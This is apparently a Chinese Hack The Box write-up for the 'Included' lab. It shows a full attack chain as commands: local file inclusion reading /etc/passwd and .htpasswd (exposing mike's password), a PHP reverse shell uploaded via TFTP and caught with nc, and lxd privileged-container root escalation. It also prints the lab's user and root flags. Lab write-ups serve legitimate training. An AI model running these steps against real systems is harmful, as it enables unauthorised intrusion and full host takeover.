HTB:Included[WriteUP]

news2024/11/23 18:37:20

目录

连接至HTB服务器并启动靶机

1.What service is running on the target machine over UDP?

2.What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

3.What is the default system folder that TFTP uses to store files?

4.Which interesting file is located in the web server folder and can be used for Lateral Movement?

5.What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

6.When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

7.What flag do we set to the container so that it has root privileges on the host system?

USER_FLAG:a56ef91d70cfbf2cdb8f454c006935a1

8.If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

ROOT_FLAG:c693d9c7499d9f572ee375d4c14c7bcf


连接至HTB服务器并启动靶机

靶机IP:10.129.95.185

分配IP:10.10.16.12


1.What service is running on the target machine over UDP?

首先使用nmap对靶机进行端口扫描:

nmap -sC -sV {TARGET_IP}

可以看到靶机只开启了一个80端口,并且运行的是Apache服务,使用浏览器直接访问靶机:

可以看到对靶机80端口访问后,自动跳转到了:/?file=home.php,我们尝试对该页面进行测试,以此来确认它是否存在文件包含漏洞

直接尝试访问/etc/passwd文件,成功输出证明漏洞存在:

使用curl对/etc/passwd文件下载到本地并保存为temp.txt查看:

curl 'http://{TARGET_IP}/?file=/etc/passwd' -o temp.txt

在文件最后,能看到一个tftp用户,而tftp服务使用UDP协议进行通信

使用nmaptftp服务默认端口69进行扫描,确认靶机开启了tftp服务:

nmap -sU -p 69 -Pn {TARGET_IP}


2.What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

结合上文,我们通过网页URL跳转测试文件包含漏洞修改file参数的值达到读取任意文件的目的:

托管在80端口上的网页容易受到文件包含漏洞攻击(LFI):Local File Inclusion

Local File Inclusion(本地文件包含漏洞)是一种常见的 Web 应用程序安全漏洞。当 Web 应用程序在接收用户输入来包含文件时,如果没有对用户输入进行充分的验证和过滤,攻击者就有可能通过精心构造的输入,让应用程序包含服务器本地的文件。这可能导致敏感信息泄露,例如包含配置文件、数据库连接信息等,或者被攻击者利用来执行恶意代码。例如,攻击者可以尝试包含系统文件,以获取服务器的关键信息或提升权限。这种漏洞通常是由于开发人员在编写代码时没有充分考虑到安全因素,或者对用户输入的信任度过高而导致的。防范 Local File Inclusion 漏洞需要对用户输入进行严格的验证和过滤,限制文件包含的范围,并采用安全的编程实践。


3.What is the default system folder that TFTP uses to store files?

使用cat再次查看我们从网页下载的/etc/passwd文件信息:

cat temp.txt

可以看到tftp用户登录系统后所在的默认目录为:/var/lib/tftpboot/


4.Which interesting file is located in the web server folder and can be used for Lateral Movement?

通过Wappalyzer插件,我们可以看到该网页的技术栈发现使用的是Apache服务器:

Apache通常会有一个名为.htpasswd的文件,用于存放用户身份验证信息,这个文件的路径在:

/var/www/html/.htpasswd

/etc/apache2/.htpasswd

使用curl尝试对其访问: 

curl 'http://{TARGET_IP}/?file=/etc/apache2/.htpasswd'
curl 'http://{TARGET_IP}/?file=/var/www/html/.htpasswd'

用户:mike

密码:Sheffield19


5.What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

利用tftp无需认证的特性,我们可以在没有任何权限的情况下上传Webshell

还是通过Wappalyzer插件,我们通过查看该网页的技术栈发现其使用的是PHP脚本语言

使用Kali自带的Webshell:php-reverse-shell.php,对其中的IP、PORT参数进行修改:

使用tftp服务连接到靶机:

tftp {TARGET_IP}

上传Webshell至靶机/var/lib/tftpboot目录中:

put php-reverse-shell.php

使用nc启动监听:

nc -lvnp 1425

使用curl对Webshell访问,启动反弹shell:

curl 'http://{TARGET_IP}/?file=/var/lib/tftpboot/php-reverse-shell.php'

当前shell交互不完整,使用script命令获得交互shell:

script /dev/null -c bash

登录mike账户,输入上文获得的密码:

su mike

 使用id命令,查看mike所属用户组:lxd


6.When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

首先查询一下用户组LXD的相关信息,再将问题扔给AI:Alpine


7.What flag do we set to the container so that it has root privileges on the host system?

拿到mike用户权限后,我们使用find命令查找一下user.txt,再使用cat命令查看文件内容:

cat `find / -name 'user.txt' 2>/dev/null`

USER_FLAG:a56ef91d70cfbf2cdb8f454c006935a1

接下来我们构建Alpine映像并使用标志:security.Privileged=true ,强制以root用户身份与主机文件系统交互:

可供参考文章:book.hacktricks.xy

在本机依次执行以下命令:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

使用python模块http.server在本地开启一个HTTP服务器:

python -m http.server 6666

靶机上,首先进入mike目录下:

cd /home/mike

使用wget命令将本地alpine-v3.13-x86_64-20210218_0139.tar.gz文件拷入mike目录中:

wget {NATIVE_IP}:6666/alpine-v3.13-x86_64-20210218_0139.tar.gz

等待文件上传完成后,在靶机上依次执行以下命令:

lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

输入whoami,回显为root,提权成功:


8.If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

使用find命令查找root.txt:

find / -name 'root.txt' 2>/dev/null

输出:

/ # ^[[21;5Rfind / -name 'root.txt' 2>/dev/null

find / -name 'root.txt' 2>/dev/null

/mnt/root/root/root.txt

显然root_flag在/mnt/root/目录下

查看root.txt文件内容:

cat `find / -name 'root.txt' 2>/dev/null`

ROOT_FLAG:c693d9c7499d9f572ee375d4c14c7bcf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2188510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TCP --- 确认应答机制以及三次握手四次挥手

序言 在前一篇文章中,我们介绍了 UDP协议 (点击查看)👈,该协议给我们的感觉就两个字 — 简单,只是将我们的数据进行简单的添加报头然后发送。当然使用起来虽然简单,但是否能送到目的地,那就要看网络的状态了…

【算法系列-链表】链表相交 环形链表II

【算法系列-链表】链表相交&环形链表 文章目录 【算法系列-链表】链表相交&环形链表1. 链表相交1.1 思路分析🎯1.2 解题过程🎬1.3 代码示例🌰 2. 环形链表II2.1 思路分析🎯2.2 代码示例🌰 1. 链表相交 【题目…

C/C++:内存管理

文章目录 前言一、内存分区1. 内存划分情况2. 最大内存计算 二、malloc/calloc/realloc 与 free1. malloc2. calloc3. realloc4. free5. 差异对比6. 失败处理 三、内存分配题目1. 题目2. 内存区域划分 四、C内存管理方式1. new 与 delete2. new/delete操作内置类型3. new和dele…

数据科学基础复习(简)

可视化、数据可视化 在狭义上,数据可视化是与信息可视化,科学可视化和可视分析学平行的概念,而在广义上数据可视化可以包含这3类可视化技术。 数据科学的主要任务 数据科学研究目的与任务 大数据及其运动规律的揭示从数据到智慧的转化数据…

【web安全】——命令执行漏洞/代码执行漏洞

1.命令执行漏洞 1.1漏洞原理 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到…

仿RabbitMQ实现消息队列服务端(二)

文章目录 ⽹络通信协议设计信道管理模块连接管理模块服务器模块实现 ⽹络通信协议设计 其中⽣产者和消费者都是客⼾端,它们都需要通过⽹络和BrokerServer进⾏通信。具体通信的过程我们使⽤Muduo库来实现,使⽤TCP作为通信的底层协议,同时在这个…

中级软件设计师:一文搞懂下午第二题——数据库设计

中级软件设计师:一文搞懂下午第二题——数据库设计 1. 数据库设计过程1.1 ER模型1.1.0 浅谈UML1.1.1 实体(Entity)1.1.2 联系1.1.3 联系类型1.1.4 实体间的联系模型 1.2 属性(Attribute)1.3 关系(Relations…

Python案例--动态奖金计算(个税计算)

在企业财务管理中,员工的奖金计算是一项关键任务,它直接关系到员工的积极性和忠诚度。一个合理的奖金制度能够激励员工更好地完成工作,提高企业的整体竞争力。本文将通过Python编程语言,详细探讨如何根据企业利润计算员工的奖金。…

ROS C++ : 使用ros::AsyncSpinner,实现多线程处理ROS消息

文章目录 1、原理说明1.1、ros::MultiThreadedSpinner1.2、ros::AsyncSpinner1.3、多线程原理1.3.1、 消息发布1.3.2、 消息订阅 2、ros::AsyncSpinner 示例13、ros::AsyncSpinner 示例24、使用 ros::AsyncSpinner, 多线程处理回调示例 1、原理说明 ROS提供了2中方…

风场可视化效果的实现,免费的预测数据获得方法

风场可视化是气象学、海洋学等领域中的重要研究工具,它能够直观地展示大气或海洋中的风速、风向等信息。通过风场的可视化,科研人员可以更好地理解气象数据的空间分布特征,分析风场的动力学特性。本文将介绍如何利用Python中的matplotlib、Ba…

git维护【.gitignore文件】

在工程下添加 .gitignore 文件【git忽略文件】 *.class .idea *.iml *.jar /*/target/

如何通过几个简单步骤创建博客

搭建博客不仅可以表达自我和分享知识,还可以成为一种潜在的收入来源。如果你也对搭建博客感兴趣,下面的几个步骤将帮助你轻松入门。 一、选择一个主题 确定你的兴趣点:首先,你需要选择一个你感兴趣且擅长的领域。你悉的领域既能激…

基于SpringBoot+Vue的蛋糕甜品商城系统

系统展示 用户前台界面 管理员后台界面 系统背景 随着互联网技术的飞速发展,电子商务已经深入人们的日常生活,各行各业都在积极拥抱数字化转型。蛋糕甜品行业也不例外,传统的销售模式已经无法满足消费者日益增长的多样化、便捷化需求。因此&a…

每日学习一个数据结构-树

文章目录 树的相关概念一、树的定义二、树的基本术语三、树的分类四、特殊类型的树五、树的遍历六、树的应用场景 树的遍历一、前序遍历二、中序遍历三、后序遍历使用java代码实现遍历总结 树的相关概念 树是一种重要的非线性数据结构,在计算机科学中有着广泛的应用…

Pikachu-File Inclusion-远程文件包含

远程文件包含漏洞 是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。但远程文件包含漏洞的利用条件较为苛刻;因此,在web应用系统的功能设计上尽量不要让前端用户直接传变…

【GT240X】【04】你必须知道的 50 多个 Linux 命令

文章目录 一、介绍二、五十个linux命令一览表三、50个命令详解四、结论 你必须知道的 50 多个 Linux 命令 一、介绍 你经常使用 Linux 命令?今天,我们将介绍 50 多个你必须知道的 Linux 命令。下面列出的命令是一些最有用和最常用的 Linux 命令&#x…

jmeter学习(5)定时

Jmeter之定时器_jmeter定时器-CSDN博客 Jmeter(十三) - 从入门到精通 - JMeter定时器 - 上篇(详解教程)-腾讯云开发者社区-腾讯云 (tencent.com) 定时器是在每个sampler之前执行的,无论定时器位置在sampler之前还是子节点下面当执行一个sam…

TypeScript 算法手册 【基数排序】

文章目录 1. 基数排序简介1.1 基数排序定义1.2 基数排序特点 2. 基数排序步骤过程拆解2.1 找出数组中的最大值2.2 从最低位开始,对每一位进行计数排序2.3 对某一位数进行计数排序2.4 将排序结果复制回原数组 3. 基数排序的优化3.1 处理负数3.2 字符串排序案例代码和…

Go语言实现随机森林 (Random Forest)算法

在 Go 语言中实现随机森林(Random Forest)算法通常涉及以下几个步骤: 数据准备:将数据集分为训练集和测试集,确保数据格式适合算法使用。 决策树的构建:随机森林是由多个决策树构成的,首先需要…

MySQL 实验1:Windows 环境下 MySQL5.5 安装与配置

MySQL 实验1:Windows 环境下 MySQL5.5 安装与配置 目录 MySQL 实验1:Windows 环境下 MySQL5.5 安装与配置一、MySQL 软件的下载二、安装 MySQL三、配置 MySQL1、配置环境变量2、安装并启动 MySQL 服务3、设置 MySQL 字符集4、为 root 用户设置登录密码 一…